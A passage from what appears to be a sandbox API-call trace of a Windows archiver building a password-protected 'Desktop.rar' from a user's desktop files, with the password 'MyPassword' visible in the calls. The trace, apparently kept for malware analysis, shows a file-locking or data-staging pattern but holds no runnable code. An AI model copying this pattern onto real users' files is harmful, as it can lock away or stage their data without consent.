hFindFile=0x1ec0de09bf0 | out: hFindFile=0x1ec0de09bf0) returned 1 [0067.568] CreateFileW (lpFileName="kVcraZcrAD.png" (normalized: "c:\\users\\fd1hvy\\desktop\\kvcrazcrad.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.568] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.568] GetTickCount () returned 0x26c8b [0067.568] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.569] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.569] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.569] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.569] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="Kd7Nt21v7fSUs0ibbZr.pdf") returned 23 [0067.569] SetWindowTextW (hWnd=0x1028c, lpString="kVcraZcrAD.png") returned 1 [0067.569] GetTickCount () returned 0x26c8b [0067.569] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.569] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.570] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.570] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.570] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x35)) [0067.570] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.570] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15889832908) returned 1 [0067.570] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xce16, lpOverlapped=0x0) returned 1 [0067.570] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d911e56, nNumberOfBytesToRead=0xf31ea, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d911e56*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.570] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.570] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.570] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.570] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef970 [0067.570] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef970, Size=0x48) returned 0x1ec0a6569c0 [0067.570] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0067.570] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.570] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefa90, Size=0x48) returned 0x1ec0a657230 [0067.570] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0067.570] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.570] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.570] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef9d0 [0067.570] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef9d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.570] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.570] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a6573c0 [0067.570] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6573c0, Size=0x7a) returned 0x1ec0a64a4f0 [0067.570] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657230 | out: hHeap=0x1ec0a590000) returned 1 [0067.570] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a4f0 | out: hHeap=0x1ec0a590000) returned 1 [0067.572] GetTickCount () returned 0x26c8b [0067.572] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15890082089) returned 1 [0067.572] GetTickCount () returned 0x26c8b [0067.572] GetTickCount () returned 0x26c8b [0067.572] GetTickCount () returned 0x26c8b [0067.572] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.572] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.572] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.575] ResetEvent (hEvent=0x344) returned 1 [0067.575] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.577] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.577] ResetEvent (hEvent=0x344) returned 1 [0067.577] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.578] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.579] GetTickCount () returned 0x26c9b [0067.579] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15890719818) returned 1 [0067.579] GetTickCount () returned 0x26c9b [0067.579] GetTickCount () returned 0x26c9b [0067.579] GetTickCount () returned 0x26c9b [0067.579] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.579] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.579] GetFocus () returned 0x102a8 [0067.579] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.579] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.579] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.579] GetFocus () returned 0x102a8 [0067.579] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.580] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.580] ResetEvent (hEvent=0x33c) returned 1 [0067.580] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.581] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.581] ResetEvent (hEvent=0x33c) returned 1 [0067.581] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.582] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.582] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.582] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.582] GetFocus () returned 0x102a8 [0067.582] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.582] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.582] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x12996e [0067.582] SetFilePointer (in: hFile=0x32c, lDistanceToMove=98, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1299d0 [0067.582] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.583] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.583] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.583] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0067.583] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xcea0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xcea0, lpOverlapped=0x0) returned 1 [0067.584] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0067.584] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0067.584] GetFocus () returned 0x102a8 [0067.584] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0067.585] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.585] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1218926, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x12996e [0067.585] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x12996e [0067.585] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.585] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.585] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef880, Size=0x48) returned 0x1ec0a656c90 [0067.585] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c740 [0067.585] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefaf0 [0067.585] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefaf0, Size=0x48) returned 0x1ec0a657460 [0067.585] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c740 | out: hHeap=0x1ec0a590000) returned 1 [0067.585] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656c90 | out: hHeap=0x1ec0a590000) returned 1 [0067.585] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.585] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefa90 [0067.585] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefa90 | out: hHeap=0x1ec0a590000) returned 1 [0067.585] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.585] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a657140 [0067.585] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a657140, Size=0x7a) returned 0x1ec0a64a190 [0067.585] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a193*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a193*, lpNumberOfBytesWritten=0xe414d8140*=0x62, lpOverlapped=0x0) returned 1 [0067.585] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefac0 [0067.585] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x62) returned 0x1ec0ddfe470 [0067.585] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657460 | out: hHeap=0x1ec0a590000) returned 1 [0067.585] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a190 | out: hHeap=0x1ec0a590000) returned 1 [0067.585] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x136870 [0067.585] CloseHandle (hObject=0x350) returned 1 [0067.585] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0067.585] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.586] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.586] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.586] FindFirstFileW (in: lpFileName="kZvsWRlw_Unl_4-z2.png", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09050 [0067.586] FindClose (in: hFindFile=0x1ec0de09050 | out: hFindFile=0x1ec0de09050) returned 1 [0067.586] CreateFileW (lpFileName="kZvsWRlw_Unl_4-z2.png" (normalized: "c:\\users\\fd1hvy\\desktop\\kzvswrlw_unl_4-z2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0067.586] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0067.586] GetTickCount () returned 0x26c9b [0067.586] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0067.586] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0067.586] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.586] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0067.586] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="kVcraZcrAD.png") returned 14 [0067.586] SetWindowTextW (hWnd=0x1028c, lpString="kZvsWRlw_Unl_4-z2.png") returned 1 [0067.587] GetTickCount () returned 0x26c9b [0067.587] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0067.587] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0067.587] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0067.587] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0067.587] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x45)) [0067.587] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0067.587] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15891575811) returned 1 [0067.587] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x4380, lpOverlapped=0x0) returned 1 [0067.587] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d9093c0, nNumberOfBytesToRead=0xfbc80, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d9093c0*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0067.587] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef8b0 [0067.587] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbb0 [0067.587] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefbb0, Size=0x48) returned 0x1ec0a6569c0 [0067.587] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0067.587] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.587] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a6577d0 [0067.587] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0067.588] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0067.588] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0067.588] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef880 [0067.588] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef880 | out: hHeap=0x1ec0a590000) returned 1 [0067.588] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfef670 | out: hHeap=0x1ec0a590000) returned 1 [0067.588] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef8b0, Size=0x48) returned 0x1ec0a656a60 [0067.588] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a656a60, Size=0x7a) returned 0x1ec0a649ec0 [0067.588] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0067.588] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649ec0 | out: hHeap=0x1ec0a590000) returned 1 [0067.668] GetTickCount () returned 0x26cf8 [0067.668] GetLastError () returned 0x0 [0067.668] SetLastError (dwErrCode=0x0) [0067.668] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0067.668] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0067.668] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0067.668] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0067.669] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15899775398) returned 1 [0067.669] GetTickCount () returned 0x26cf8 [0067.669] GetTickCount () returned 0x26cf8 [0067.669] GetTickCount () returned 0x26cf8 [0067.669] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd168 | out: ppv=0xe414dd168*=0x1ec0bfef880) returned 0x0 [0067.669] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfef880, hwnd=0x10284, tbpFlags=2) returned 0x0 [0067.670] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfef880, hwnd=0x10284, ullCompleted=0x13a498, ullTotal=0x4f8c9e) returned 0x0 [0067.670] TaskbarList:IUnknown:Release (This=0x1ec0bfef880) returned 0x0 [0067.670] GetLastError () returned 0x36b7 [0067.670] SetLastError (dwErrCode=0x36b7) [0067.670] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0067.670] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0067.670] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 16%") returned 5 [0067.670] SetWindowTextW (hWnd=0x102a4, lpString=" 24%") returned 1 [0067.671] GetLastError () returned 0x0 [0067.671] SetLastError (dwErrCode=0x0) [0067.671] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0067.671] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd30, nMaxCount=2560 | out: lpString=" 98%") returned 5 [0067.671] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x18, lParam=0x0) returned 0x10 [0067.671] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0067.671] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0067.671] GetFocus () returned 0x102a8 [0067.671] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0067.672] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0067.672] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0067.672] GetFocus () returned 0x102a8 [0067.672] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0067.672] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.673] ResetEvent (hEvent=0x344) returned 1 [0067.673] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.674] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.674] ResetEvent (hEvent=0x344) returned 1 [0067.674] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.675] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0067.675] GetTickCount () returned 0x26cf8 [0067.675] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15900340180) returned 1 [0067.675] GetTickCount () returned 0x26cf8 [0067.675] GetTickCount () returned 0x26cf8 [0067.675] GetTickCount () returned 0x26cf8 [0067.675] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0067.675] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0067.675] GetFocus () returned 0x102a8 [0067.675] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0067.676] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0067.676] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.676] ResetEvent (hEvent=0x33c) returned 1 [0067.676] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.676] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.676] ResetEvent (hEvent=0x33c) returned 1 [0067.676] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0067.677] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0067.677] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0067.677] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.677] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x136870 [0067.677] SetFilePointer (in: hFile=0x32c, lDistanceToMove=105, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1368d9 [0067.677] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0067.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0067.677] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0067.677] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0067.677] CryptUnprotectMemory (in: 